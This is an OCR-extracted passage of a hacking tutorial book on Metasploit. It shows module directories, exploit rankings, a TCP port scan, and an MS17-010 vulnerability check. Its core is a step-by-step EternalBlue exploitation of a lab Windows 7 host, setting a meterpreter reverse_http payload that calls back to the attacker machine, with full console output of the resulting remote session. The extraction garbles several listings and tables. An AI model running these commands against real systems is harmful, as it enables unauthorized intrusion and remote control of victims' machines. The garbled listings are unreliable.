drwxr-xr-x	3	root	root	4096	Jun	19	15:14	bsd
drwxr-xr-x	3	root	root	4096	Jun	19	15:14	bsdi
drwxr-xr-x	3	root	root	4096	Jun	19	15:14	dialup
- rw-rr	1	root	root	2698	Jul	2	15:55	example.rb
drwxr-xr-x	3	root	root	4096	Jun	19	15:14	firefox
drwxr-xr-x	9	root	root	4096	Jun	19	15:14	freebsd
drwxr-xr-x	3	root	root	4096	Jun	19	15:14	hpux
drwxr-xr-x	3	root	root	4096	Jun	19	15:14	irix
drwxr-xr-x	21	root	root	4096	Jun	19	15:14	linux
drwxr-xr-x	3	root	root	4096	Jun	19	15:14	mainframe
drwxr-xr-x	26	root	root	4096	Jul	11	09:31	multi
drwxr-xr-x	4	root	root	4096	Jun	19	15:14	netware
drwxr-xr-x	13	root	root	4096	Jun	19	15:14	OSX
drwxr-xr-x	4	root	root	4096	Jun	19	15:14	qnx
drwxr-xr-x	8	root	root	4096	Jun	19	15:14	solaris
drwxr-xr-x	14	root	root	4096	Jul	11	09:31	unix
drwxr-xr-x	51	root	root	4096	Jul	11	09:30	windows

Now we can see that the exploits categorized into directories for a particular platform (in general, platform is equivalent to operating system with a few exceptions such firefox, netware and a few others). If we were looking to exploit a windows system, we would want a Windows exploit, so let's navigate to that sub-directory.

kali > cd windows

kali > ls -l

<pre>root@kali-2019:/usr/share/metasploit-framework/modules/exploits# cd windows</pre>
<pre>rootkali-2019://sr/share/metasploit-framework/modules/exploits/windows# ls -1</pre>
total 328
drwxr-xr-x 2 root root 4096 Jul 11 09:31 antivirus
drwsr-xr-x 2 root root 4096 Jul 11 09:31 arkeia
drygr-xr-x 2 root root 4096 Jul 11 09:31 hackdoor
driver vr. v 2 root root 4096 Jul 11 09:31 backupeyer
driver vr. v 2 root root 4006 Jul 10 0:31 brinktstor
driver vr. v 2 root root 4505 dul 11 09:31 browser
driver vr. v 2 root root 4006 Jul 11 09:31 deepe
driver vr. v 2 root root 4006 Jul 109:31 deepe
driver vr. v 2 root root 4006 Jul 11 09:31 emer
driver
drukt-xr-x 2 root root 4006 lul 109:31 firewall
driver ar 2 root root 12288 Jul 10 0:31 ftp
driver vr. v 2 root root 4006 Jul 11 09:31 remos
driver vr. v 2 root root 3768 Jul 11 09:31 Http
drykry 2 root root 4006 Jul 11 09:31 http
drukt-xt-x 2 root root 4006 Jul 109:31 is
driver vr. v 2 root root 4006 Jul 11 09:31 imp
driver vr. v 2 root root 4006 Jul 11 09:31 isani
driver vr. v 2 root root 4006 Jul 11 09:31 Idan
driver vr. v 2 root root 4006 Jul 11 09:31 License
driver vr. v 2 root root 12288 Jul 11 09:31 Local
driver vr. v 2 root root 4006 Jul 11 00:31 lotus
driver vr. v 2 root root 4096 Jul 11 09:31 lpd
driver vr. v 2 root root 20480 Jul 11 09:31 cpc
drywr-yr-y 2 root root 4096 Jul 11 09:31 mmsp
drygr-gr-gr opt root 4096 Jul 11 09:31 motorola
drwr-xr-x 2 root root 4096 Jul 11 09:31 mesal
drwsr-xr-x 2 root root 4096 Jul 11 09:31 mysgl
drwxr-xr-x 2 root root 4096 Jul 11 09:31 nfs
drwsr-xr-x 2 root root 4096 Jul 11 09:31 nntp
drwsr-xr-x 2 root root 4096 Jul 11 09:31 novell
drwxr-xr-x 2 root root 4096 Jul 11 09:31 nuuo
drwxr-xr-x 2 root root 4096 Jul 11 09:31 oracle
drwxr-xr-x 2 root root 4096 Jul 11 09:31 pop3
drwxr-xr-x 2 root root 4096 Jul 11 09:31 postgres
drwxr-xr-x 2 root root 4096 Jul 11 09:31 proxy
drwxr-xr-x 2 root root 4096 Jul 11 09:31 scada
drwxr-xr-x 2 root root 4096 Jul 11 09:31 sip
drwxr-xr-x 2 root root 4096 Jul 11 09:31 smb
drwxr-xr-x 2 root root 4096 Jul 11 09:31 smtp
drwxr-xr-x 2 root root 4096 Jul 11 09:31 ssh
drwxr-xr-x 2 root root 4096 Jul 11 09:31 ssl
drwxr-xr-x 2 root root 4096 Jul 11 09:31 telnet
drwxr-xr-x 2 root root 4096 Jul 11 09:31 tftp
drwxr-xr-x 2 root root 4096 Jul 11 09:31 unicenter
drwxr-xr-x 2 root root 4096 Jul 11 09:31 vnc
drwxr-xr-x 2 root root 4096 Jul 11 09:31 vpn
drwxr-xr-x 2 root root 4096 Jul 11 09:31 winrm
drwxr-xr-x 2 root root 4096 Jul 11 09:31 wins

You can see here that there are numerous directories from "antivirus" to "wins."

Finally, let's take a look inside the "smb" directory

kali > cd smb

kali > ls -l

root@kali-2	019:/u	sr/sh	are/met	taspl	oit	t-fram	ework/modules/exploits/windows# cd smb
root@kali-2	019:/u	sr/sh	are/me1	taspl	011	t-fram	ework/modules/exploits/windows/smb# ls -l
total 312							
- rw- r r	1 root	root	1739	Jul	2	15:55	generic_smb_dll_injection.rb
- rw- r r	1 root	root	2707	Jul	2	15:55	group_policy_startup.rb
- rw- r r	1 root	root	3346	Jul	2	15:55	ipass_pipe_exec.rb
- rw- r r	1 root	root	2854	Jul	2	15:55	ms03_049_netapi.rb
-rw-rr	1 root	root	8105	Jul	2	15:55	ms04_007_killbill.rb
- rw- r r	1 root	root	4869	Jul	2	15:55	ms04_011_lsass.rb
-rw-rr	1 root	root	2639	Jul	2	15:55	ms04_031_netdde.rb
-rw-rr	1 root	root	18230	Jul	2	15:55	ms05_039_pnp.rb
- rw- r r	1 root	root	5788	Jul	2	15:55	ms06_025_rasmans_reg.rb
- rw- r r	1 root	root	3289	Jul	2	15:55	ms06_025_rras.rb
- rw- r r	1 root	root	9346	Jul	2	15:55	ms06_040_netapi.rb
-rw-rr	1 root	root	3931	Jul	2	15:55	ms06_066_nwapi.rb
-rw-rr	1 root	root	3538	Jul	2	15:55	ms06_066_nwwks.rb
-rw-rr	1 root	root	5923	Jul	2	15:55	ms06_070_wkssvc.rb
-rw-rr	1 root	root	8367	Jul	2	15:55	ms07_029_msdns_zonename.rb
- rw- r r	1 root	root	40480	Jul	2	15:55	ms08_067_netapi.rb
-rw-rr	1 root	root	5745	Jul	2	15:55	ms09_050_smb2_negotiate_func_index.rb
- rw- r r	1 root	root	3856	Jul	2	15:55	ms10_046_shortcut_icon_dllloader.rb
-rw-rr	1 root	root	12122	Jul	2	15:55	ms10_061_spoolss.rb
-rw-rr	1 root	root	4543	Jul	2	15:55	ms15_020_shortcut_icon_dllloader.rb
- rw- r r	1 root	root	26933	Jul	2	15:55	ms17_010_eternalblue.rb <
-rwxr-xr-x	1 root	root	32721	Jul	2	15:55	ms17_010_eternalblue_win8.py
- rw- r r	1 root	root	5616	Jul	2	15:55	ms17_010_psexec.rb
-rw-rr	1 root	root	4800	Jul	2	15:55	netidentity_xtierrpcpipe.rb
-rw-rr	1 root	root	3772	Jul	2	15:55	psexec_psh.rb
-rw-rr	1 root	root	6171	Jul	2	15:55	psexec.rb
-rw-rr	1 root	root	2595	Jul	2	15:55	smb_delivery.rb
-rw-rr	1 root	root	23170	Jul	2	15:55	smb_relay.rb
-rw-rr	1 root	root	4257	Jul	2	15:55	timbuktu_plughntcommand_bof.rb
- rw- r r	1 root	root	5661	Jul	2	15:55	webexec.rb

Here Metasploit has all the exploits that can attack the SMB protocol (for more on the SMB protocol, see <a href="https://www.hackers-arise.com/single-post/2019/03/04/Network-Basics-for-Hackers-Server-Message-Block-SMB">https://www.hackers-arise.com/single-post/2019/03/04/Network-Basics-for-Hackers-Server-Message-Block-SMB</a>). Note that each module ends in .rb meaning its code is written in Ruby. Also, I have pointed out the EternalBlue exploit within Metasploit. We know that our Windows 7 system is vulnerable to EternalBlue from our vulnerability assessment in Chapter 7.

I hope this brief exploration of the directory structure of Metasploit shed some light on the inner workings on this powerful tool and help you find the module you need. Also, later in this chapter we will add a module to our Metasploit framework and we will need to know where to place it.

# A Word About Exploitation Success

Hacking, or exploitation, is NOT simply choosing an exploit and "throwing it against a system" and... Voila!...you are inside the system (although I wouldn't blame you for believing that based upon the millions of YouTube videos that depict hacking that way). Hacking is a process; sometimes a tedious process. Even when you have selected the right exploit, it still doesn't work.

If I depicted hacking as easy and always successful, I would be doing you a disservice. Often hacks fail. You are trying to make a system do something it was NOT supposed to do. In some cases, you are breaking a service or system to gain access. This **is very unlike** the work of a system or network administrator who is trying to get the system to work as it was intended to work.

If you run into difficulty performing the hacks I display in this book, consider it a reflection of the real world. Hacking is not easy or always successful. As I point out in Chapter 2, two of the key qualities of hackers **are persistence and creativity**.

Having said all that, Metasploit exploits are well tested to work against the systems they are targeting. Even with that, they do NOT always work. To illustrate this point, enter the show exploits command again from the msfconsole.

#### msf5 > show exploits

msf5 >	show exploits				
			-		
Exploit	5				
	=		マフ		
			v		
#	Name	Disclosure Date	Rank	Check	Description
-					
Θ	aix/local/ibstat_path	2013-09-24	excellent	Yes	ibstat \$PATH Privilege Escalation
1	aix/rpc_cmsd_opcode21	2009-10-07	great	No	AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overfl
ow					
2	aix/rpc_ttdbserverd_realpath	2009-06-17	great	No	ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)
3	android/adb/adb_server_exec	2016-01-01	excellent	Yes	Android ADB Debug Server Remote Payload Execution
4	android/browser/samsung knox smdm url	2014-11-12	excellent	No	Samsung Galaxy KNOX Android Browser RCE
5	android/browser/stagefright mp4 tx3g 64bit	2015-08-13	normal	No	Android Stagefright MP4 tx3g Integer Overflow
6	android/browser/webview addjavascriptinterface	2012-12-21	excellent	No	Android Browser and WebView addJavascriptInterface Code Execution
7	android/fileformat/adobe_reader_pdf_js_interface	2014-04-13	good	No	Adobe Reader for Android addJavascriptInterface Exploit
8	android/local/futex_requeue	2014-05-03	excellent	No	Android 'Towelroot' Futex Requeue Kernel Exploit
9	android/local/put_user_vroot	2013-09-06	excellent	No	Android get_user/put_user Exploit
10	android/local/su_exec	2017-08-31	manual	No	Android 'su' Privilege Escalation
11	apple_ios/browser/safari_libtiff	2006-08-01	good	No	Apple iOS MobileSafari LibTIFF Buffer Overflow
12	apple_ios/browser/webkit_createthis	2018-03-15	manual	No	Safari Webkit Proxy Object Type Confusion
13	apple_ios/browser/webkit_trident	2016-08-25	manual	No	WebKit not_number defineProperties UAF
14	apple_ios/email/mobilemail_libtiff	2006-08-01	good	No	Apple iOS MobileMail LibTIFF Buffer Overflow
15	apple ios/ssh/cydia default ssh	2007-07-02	excellent	No	Apple iOS Default SSH Password Vulnerability
16	bsd/finger/morris_fingerd_bof	1988-11-02	normal	Yes	Morris Worm fingerd Stack Buffer Overflow
17	bsdi/softcart/mercantec_softcart	2004-08-19	great	No	Mercantec SoftCart CGI Overflow
18	dialup/multi/login/manyargs	2001-12-12	good	No	System V Derived /bin/login Extraneous Arguments Buffer Overflow
19	firefox/local/exec_shellcode	2014-03-10	excellent	No	Firefox Exec Shellcode from Privileged Javascript Shell
20	freebsd/ftp/proftp telnet iac	2010-11-01	great	Yes	ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
21	freebsd/http/watchguard cmd exec	2015-06-29	excellent	Yes	Watchguard XCS Remote Command Execution
22	freebsd/local/intel sysret priv esc	2012-06-12	great	Yes	FreeBSD Intel SYSRET Privilege Escalation
23	freebsd/local/mmap	2013-06-18	great	Yes	FreeBSD 9 Address Space Manipulation Privilege Escalation
24	freebsd/local/rtld_execl_priv_esc	2009-11-30	excellent	Yes	FreeBSD rtld execl() Privilege Escalation
25	freebsd/local/watchguard_fix_corrupt_mail	2015-06-29	manual	Yes	Watchguard XCS FixCorruptMail Local Privilege Escalation
26	freebsd/misc/citrix_netscaler_soap_bof	2014-09-22	normal	Yes	Citrix NetScaler SOAP Handler Remote Code Execution
27	freebsd/samba/trans2open	2003-04-07	great	No	Samba trans2open Overflow (*BSD x86)
28	freebsd/tacacs/xtacacsd_report	2008-01-08	average	No	XTACACSD report() Buffer Overflow
29	freebsd/telnet/telnet_encrypt_keyid	2011-12-23	great	No	FreeBSD Telnet Service Encryption Key ID Buffer Overflow

You will see hundreds of exploits. Please note the 5th column. In this column, the good folks at Rapid7 give us an indication of the probable success of the exploit module. These rankings, in order of their likely success, are;

- 1. Excellent
- 2. Great
- 3. Good
- 4. Average
- 5. Manual

This means that if you use an exploit ranked "excellent", it will likely work 90% of the time. Not 100%. On the other hand, if you use a module ranked "manual" you can probably expect it to be effective less than 40% of the time. The others work on gradations between 90% and < 40%.

#### **Reconnaissance with Metasploit**

In chapters 5 and 6, we used quite a few tools to conduct reconnaissance on our targets. Right now, we know quite a bit about our target including; its open ports, services, technologies, operating system, browser and more. Most of this information can also be garnered using auxiliary modules in Metasploit. Auxiliary modules in Metasploit are modules that don't fit into any of the other categories of modules. Auxiliary-- in other words-- is a "grab bag" of modules.

Many of the auxiliary modules are reconnaissance tools, and there are many scanners. Besides, this category has some password cracking tools, vulnerability scanning tools, and many others.

For instance, to do port scanning similar to an nmap scan like we did in Chapter 6, Metasploit has several modules in the auxiliary/scanner directory. To find them, navigate to /usr/share/metasploit-framework/modules/auxiliary/scanner/portscan and do a long listing

kali > cd /usr/share/metasploitframework/modules/auxiliary/scanner/portscan

kali > ls -l

<pre>root@kali-2019:~# cd /usr/share/metasploit-framework/modules/auxiliary/scanner/portscan root@kali-2019:/usr/share/metasploit-framework/modules/auxiliary/scanner/portscan# ls -l</pre>
total 20
rw-rr 1 root root 3949 Jul 2 15:55 ack.rb
rw-rr 1 root root 2652 Jul 2 15:55 ftpbounce.rb
rw-rr 1 root root 3787 Jul 2 15:55 syn.rb
∙rw-rr 1 root root 3268 Jul 2 15:55 tcp.rb
rw-rr 1 root root 3980 Jul 2 15:55 xmas.rb

As you can see above, Metasploit has port scanning modules to perform an ACK scan, SYN scan, a TCP scan (that's the same as a nmap –sT scan from Chapter 6) and an XMAS scan (sending packets with the PUSH-URG-FIN flags set). For more on the TCP flags, see www.hackers-arise/networks-basics.

#### Port Scanning with Metasploit

Let's try doing a TCP portscan on our Windows 7 system with Metasploit similar to what we did with nmap in Chapter 6.

From the msfconsole, we can search for that module.

```
msf5> search type:auxiliary tcp
```

25	auxiliary/scanner/nortscan/ack	normal	Yes	TCP ACK Firewall Scanner
25	awilliary/scamer/portscan/ftheounce	normat	Ves	FTD Deurse Dest Coopper
20	auxitiary/scanner/portscan/itpbounce	normal	res	FIP Bounce Port Scanner
27	auxiliary/scanner/portscan/syn	normal	Yes	TCP SYN Port Scanner
28	auxiliary/scanner/portscan/tcp < 💳	normal	Yes	TCP Port Scanner
29	auxiliary/scanner/portscan/xmas	normal	Yes	TCP "XMas" Port Scanner
30	auxiliary/scanner/rogue/rogue_send	normal	Yes	Rogue Gateway Detection:

When we hit enter, we can see that Metasploit has 39 exploits that meet that criteria. If we scan up a bit, we can see number **#28** is a TCP port scanner. Let's use that one.

msf5 > use auxiliary/scanner/portscan/tcp

```
msf5 > use auxiliary/scanner/portscan/tcp
<u>msf5</u> auxiliary(sca
                                    tcp) > info
       Name: TCP Port Scanner
    Module: auxiliary/scanner/portscan/tcp
License: Metasploit Framework License (BSD)
       Rank: Normal
Provided by:
 hdm <x@hdm.io>
 kris katterjohn <katterjohn@gmail.com>
Check supported:
  Yes
Basic options:
 Name
                Current Setting Required Description
  CONCURRENCY 10
                                    yes
                                               The number of concurrent ports to check per host
                                               The delay between connections, per thread, in milliseconds
The delay jitter factor (maximum value by which to +/- DELAY) in millisecon
                                    yes
 DELAY
                0
  JITTER
                0
                                    yes
ds.
  PORTS
                1-10000
                                    yes
                                               Ports to scan (e.g. 22-25,80,110-900)
  RHOSTS
                                    yes
                                               The target address range or CIDR identifier
  THREADS
                                    yes
                                               The number of concurrent threads
  TIMEOUT
                 1000
                                               The socket connect timeout in milliseconds
                                    yes
Description:
 Enumerate open TCP services by performing a full TCP connect on each
 port. This does not need administrative privileges on the source
 machine, which may be useful if pivoting.
```

To use this module to do a portscan of our Windows 7 system, we simply need to set the IP address of our RHOSTS (remote hosts or our target system) and enter run.

msf5 > set RHOSTS 192.169.0.114

msf5 > run

<u>msf5</u> auxiliary( <mark>scanne</mark> RHOSTS => 192.168.0.1	<u>msf5</u> auxiliary( <mark>scanner/portscan/tcp</mark> ) > set RH0STS 192.168.0.114 RH0STS => 192.168.0.114						
<u>msf5</u> auxiliary( <mark>scanne</mark>	<mark>r/portscan/tcp</mark> ) > run						
[+] 192.168.0.114:	- 192.168.0.114:139 - TCP OPEN						
[+] 192.168.0.114:	- 192.168.0.114:135 - TCP OPEN						
[+] 192.168.0.114:	- 192.168.0.114:445 - TCP OPEN						
[+] 192.168.0.114:	- 192.168.0.114:3306 - TCP OPEN						
[+] 192.168.0.114:	- 192.168.0.114:5357 - TCP OPEN						
[*] 192.168.0.114:	- Scanned 1 of 1 hosts (100% complete)						
[*] Auxiliary module	execution completed						

As you can see, the Metasploit port scanning module finds identical results as our nmap scan in Chapter 6.

#### **Vulnerability Scan with Metasploit**

In addition to port scanners, Metasploit also has some vulnerability scanners in the auxiliary modules. As we are focusing on the EternalBlue exploit in this book, let's see whether we can find a module for

vulnerability assessment in Metasploit. Generally, vulnerability scanners in Metasploit are found among the auxiliary modules, so we can search by type "auxiliary" and look for the keyword "eternalblue".

msf5> search type:auxiliary eternalblue

<u>msf</u> Mat	<pre>5 auxiliary(scanner/portscan/tcp) &gt; sear cching Modules </pre>	ch type:auxiliary	eternal	blue	
	# Name	Disclosure Date	Rank	Check	Description
S№	0 auxiliary/admin/smb/ms17_010_command HB Remote Windows Command Execution	2017-03-14	normal	Yes	MS17-010 EternalRomance/EternalSynergy/EternalChampion
	1 auxiliary/scanner/smb/smb_ms17_010 <	<b>₽</b>	normal	Yes	MS17-010 SMB RCE Detection

As you can see above, our search found two modules that fit our criteria. The second described as "MS17-010 SMB RCE Detection" is the one we want here.

Let's load it into our console and try using it against our Windows 7 system.

msf5 > use auxiliary/scanner/smb/smb ms17 010

Now we have loaded it, let's get some information on this module.

msf5 > info

<u>msf5</u> auxiliary <u>msf5</u> auxiliary	<pre>(scanner/portscan/tcp) &gt; use auxiliary/scanner/smb/smb_ms17_010 (scanner/smb/smb_ms17_010) &gt; info</pre>		
Name: M9 Module: an License: M0 Rank: No	517-010 SMB RCE Detection uxiliary/scanner/smb/smb_ms17 010 etasploit Framework License (BSD) ormal		
Provided by: Sean Dillon - Luke Jenning:	<sean.dillon@risksense.com> s</sean.dillon@risksense.com>		
Check supported Yes	1:		
Basic options:			
Name	Current Setting	Required	Description
	+ruo		Chack for architecture on vulnerable bests
	true	no	Check for DOUBLEPHISAR on vulnerable hosts
	false	no	Check for named nine on vulnerable hosts
NAMED PIPES	/usr/share/metasploit-framework/data/wordlists/named_pipes.txt	ves	List of named pipes to check
RHOSTS		yes	The target address range or CIDR identifier
RPORT	445	yes	The SMB service port (TCP)
SMBDomain		no	The Windows domain to use for authentication
SMBPass		no	The password for the specified username
SMBUser		no	The username to authenticate as
THREADS	1	yes	The number of concurrent threads
Description: Uses informat patched or nd attempts a to "STATUS_INSUU MS17-010 pat module will of shellcode/mat credentials : user "\" and	tion disclosure to determine if MS17-010 has been ot. Specifically, it connects to the IPC\$ tree and ransaction on FID 0. If the status returned is FF_SERVER RESOURCES", the machine does not have the ch. If the machine is missing the MS17-010 patch, the check for an existing DoublePulsar (ring 0 Ware) infection. This module does not require valid SMB in default server configurations. It can log on as the connect to IPC\$.		

Note in the description near the bottom, Metasploit describes this module as;

"Uses information disclosure to determine if MS17-010 has been patched or not."

**This is exactly what we need to know**! Let's use it to see whether the Windows 7 system is vulnerable to the EternalBlue exploit (yes, I know. We did something similar in Chapter 7, but it's always good to know multiple ways to accomplish the same task in hacking).

msf5 > set RHOSTS 192.168.0.114

msf5 > exploit



As we suspected and confirmed in Chapter 7, our Windows 7 system is vulnerable to the EternalBlue exploit!

#### **Exploitation with Eternal Blue**

Now with the information we have gathered throughout our reconnaissance and vulnerability assessment, we are ready to exploit our Windows 7 system!

Let's search for the proper exploit.

msf5 > search type:exploit eternalblue

<u>msf5</u> Match =====	auxiliary(scanner/smb/smb_ms17_010) > search ty ing Modules	pe:exploit eterna	lblue		
#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms17 010 eternalblue < 🗖	2017-03-14	average	Yes	MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1	exploit/windows/smb/ms17 010 eternalblue win8	2017-03-14	average	No	MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
	exploit/windows/smb/ms17_010_psexec	2017-03-14	normaĺ	Yes	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

We found the EternalBlue exploit for Windows 7!

Let's load it into our console and see the info file.

```
msf5 > use exploit/windows/smb/ms17 010 eternalblue
```

msf5 > info



Note that this exploit only needs you to set the RHOSTS parameter (variable) to use.

Next, let's couple this exploit with a payload we can leave behind on the system to control it after exploitation. To find payloads that will work with this exploit, we can enter;

```
msf5 > show payloads
```

ms f Con	<u>f5</u> e mpat ====	<pre>xploit(windows/smb/ms17_010_eternalblue) &gt; s ible Payloads </pre>	how payloads			
	#	Name	Disclosure Date	Rank	Check	Description
		generic/custom		normal	No	Custom Payload
		generic/shell_bind_tcp		normal	No	Generic Command Shell, Bind TCP Inline
	2	generic/shell_reverse_tcp		normal	No	Generic Command Shell, Reverse TCP Inline
	3	windows/x64/exec		normal	No	Windows x64 Execute Command
	4	windows/x64/loadlibrary		normal	No	Windows x64 LoadLibrary Path
	5	windows/x64/messagebox		normal	No	Windows MessageBox x64
	6	windows/x64/meterpreter/bind_ipv6_tcp		normal	No	Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
	7	windows/x64/meterpreter/bind_ipv6_tcp_uuid		normal	No	Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
	8	windows/x64/meterpreter/bind_named_pipe		normal	No	Windows Meterpreter (Reflective Injection X64), Windows X64 Bind Named Pipe Stager
	9	windows/x64/meterpreter/bind_tcp		normal	NO	Windows Meterpreter (Reflective Injection X64), Windows X64 Bind TCP Stager
	10	windows/x64/meterpreter/bind_tcp_rc4		normal	NO	Windows Meterpreter (Reflective Injection X64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
	11	windows/x64/meterpreter/bind_tcp_uuid		normal	NO	Windows Meterpreter (Reflective Injection X64), Bind ICP Stager with OUID Support (Windows X64)
	12	windows/x64/meterpreter/reverse_nttp		normal	NO	Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HITP Stager (Winnet)
	13	windows/x64/meterpreter/reverse_nttps		normat	NO	Windows Meterpreter (Reflective Injection X04), Windows X04 Reverse Hirp Stager (Wininet)
	14	windows/x64/meterpreter/reverse_named_pipe		normal	NO	Windows Meterpreter (Reflective Injection X64), Windows X64 Reverse Named Pipe (Smb) Stager
	16	windows/x64/meterpreter/reverse_tcp		normal	No	Windows Meterpreter (Reflective Injection X44), Windows X64 Reveise TCF Stager Windows Meterpreter (Reflecting Injection X64) Reverse TCP Stager (RCA Stage Encryption Metasm)
	17	windows/x64/meterpreter/reverse_tcp_tc4		normal	No	Windows Meterpreter (Reflective Injection XOV), Reverse TCP Stager (RC4 Stage Entryption, Metasim) Windows Meterpreter (Reflective Injection XOV), Reverse TCP Stager with UNITD Support (Windows XG4)
	18	windows/x64/meterpreter/reverse_tcp_uulu		normal	No	Windows Meterpreter (Mertective Injection X04), Mederse for Stager with out Support (Windows X04) Windows Meterpreter (Reflective Injection X04), Windows X64 Reverse HTTP Stager (windows X04)
	19	windows/x64/meterpreter/reverse winhttps		normal	No	Windows Meterpreter (Reflective Injection X64), Windows X64 Reverse HTTPS (Stater (Winttp)
	20	windows/x64/powershell bind tcp		normal	No	Windows Interactive Powershell Session. Bind TCP

As you can see above, Metasploit displays 45 payloads that will work with this exploit. Note **#12**, the windows/x64/meterpreter/reverse\_http payload.

Let's examine what its name implies.

windows/x64/meterpreter/reverse http

windows -This means it will work with Windows operating systemsx64-This means it will work with 64-bit operating systemsmeterpreter-This means it places a special Metasploit payload named "meterpreter" on the targetreverse\_http-This means the payload with call back to us "reverse" over HTTP looking like normal

To use this payload, we need to use the set command with the name of the payload.

msf5 > set PAYLOAD windows/x64/meterpreter/reverse\_http

msf5 exploit(windows/smb/ms17\_010\_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse\_http
PAYLOAD => windows/x64/meterpreter/reverse\_http \_\_

Now, we need to set the IP addresses we will be using. The RHOSTS is the remote host or the target system (Windows 7), and the LHOST is the local host or our Kali system (you will need to use the ipconfig on Windows and ifconfig on Kali Linux to obtain your IP addresses).

msf5 > set RHOSTS 192.168.0.114
msf5 > set LHOST 192.168.0.173



The final step is to enter the command "exploit" to run the exploit against the Windows 7 system.

msf5 > exploit

msf5 exploit(windows/smb/ms17 010 eternalblue) > exploit
[*] Started HTTP reverse handler on http://192.168.0.173:8080
[+] 192.168.0.114:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7600 x64 (64-bit)
[*] 192.168.0.114:445 - Connecting to target for exploitation.
[+] 192.168.0.114:445 - Connection established for exploitation.
[+] 192.168.0.114:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.0.114:445 - CORE raw buffer dump (23 bytes)
[*] 192.168.0.114:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.0.114:445 - 0x00000010 74 65 20 37 36 30 30 te 7600
[+] 192.168.0.114:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.0.114:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.0.114:445 - Sending all but last fragment of exploit packet
[*] 192.168.0.114:445 - Starting non-paged pool grooming
[+] 192.168.0.114:445 - Sending SMBv2 buffers
[+] 192.168.0.114:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.0.114:445 - Sending final SMBv2 buffers.
[*] 192.168.0.114:445 - Sending last fragment of exploit packet!
[*] 192.168.0.114:445 - Receiving response from exploit packet
[+] 192.168.0.114:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.0.114:445 - Sending egg to corrupted connection.
[*] 192.168.0.114:445 - Triggering free of corrupted buffer.
[*] http://192.168.0.173:8080 handling request from 192.168.0.114; (UUID: qalvisxl) Staging x64 payload (207449 bytes)
[*] Meterpreter session 2 opened (192.168.0.173:8080 -> 192.168.0.114:49215) at 2019-08-07 14:49:36 -0600
[+] 192.168.0.114:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[+] 192.168.0.114:445
[+] 192.168.0.114:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
neterpreter >

As you can see, we were successful and received the meterpreter prompt!

meterpreter >

This means that we are inside the Windows 7 system. To make certain, let's enter the command sysinfo. It should return the system information of the Windows 7 system if we are inside.

meterpreter >sysinfo

<u>meterpreter</u> > sysinfo			
Computer	:	OTW-PC	
0S	:	Windows 7 (Build 7600).	
Architecture	:	x64	
System Language	:	en_US	
Domain	:	WORKGROUP	
Logged On Users	:	2	
Meterpreter	:	x64/windows	

As you can see here, this command tells us we are inside a computer with the following attributes;

Computer	: OTW-PC
OS	:Windows 7 (Build 7600)
Architecture	: x64
System Language	: en_US
Domain	: Workgroup
Logged On Users	: 2
-----------------	---------------
Meterpreter	: x64/windows

For further confirmation, let's enter ifconfig to find the IP address of the hacked system.

meterpreter >ifconfig

# Adding a New Exploit

Metasploit has almost 2000 exploits built-in. These are NOT all the exploits available to Metasploit. People all over the world port exploits to Metasploit, not all of them make the cut. In addition, Metasploit is updated "weekish" (Rapid7's term, not mine). When a new exploit comes out, it may not be in Metasploit until the next update or, for that

Interface 1 =========	
Name : Software Loopback Interface 1	
Hardware MAC : 00:00:00:00:00:00	
MTII · /29/967295	
TDv4 Address + 127 0 0 1	
IPV4 Address : 127.0.0.1	
IPV4 Netmask : 255.0.0.0	
IPV6 Address : ::1	
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:	
Interface 11	
========	
Name : Intel(R) PRO/1000 MT Desktop Adapter	
Hardware MAC : 08:00:27:7a:1d:50	
MTU : 1500	
TPv4 Address : 192,168,0,114	
TPv4 Netmask : 255 255 255 0	
TDv6 Address : fe80::3007:3722:287:cd67	
TDue Notmack , ffff.ffff.ffff.	
1PV0 Netmask : 1111:1111:1111:1111:	
Interface 12	
Name : Microsoft ISATAP Adapter	
Hardware MAC : 00:00:00:00:00:00	
MTU : 1280	
IPv6 Address : fe80::5efe:c0a8:72	
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:	

matter, never. Sometimes, you can't wait that long. That's when you need to know how to add a module on your own.

For instance, on August 8, I went to exploit-db.com to search for new Metasploit exploit modules. I entered "Metasploit" in the search field in the upper right corner, exploit-db returns all the exploits with Metasploit in their name, description or author. As you can see below, there was brand new, 3-day old exploit for "Apache Tika 1.15-1.17 Header Command Injection". That exploit has not yet made its way into Metasploit.

,	16	E X P L O I T A T A B A S E							ша ().	
		Verified Has Ap	p						T Fi	Iters 🖁 🕏 Reset All
	Show	15 •							Search: metasp	oloit 🗸
		Date #	D	А	$\vee$	Title	Туре	Platform	A	uthor
		2019-08-08	<u>+</u>		×	Baldr Botnet Panel - Arbitrary Code Execution (Metasploit)	Remote	PHP	E	ge Balci
		2019-08-05	<u>*</u>		~	Apache Tika 1.15 - 1.17 - Header Command Injection (Metasploit)	Remote	Windows	Me	etasploit
		2019-07-30	<u>+</u>		~	Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)	Remote	Linux	Me	etasploit
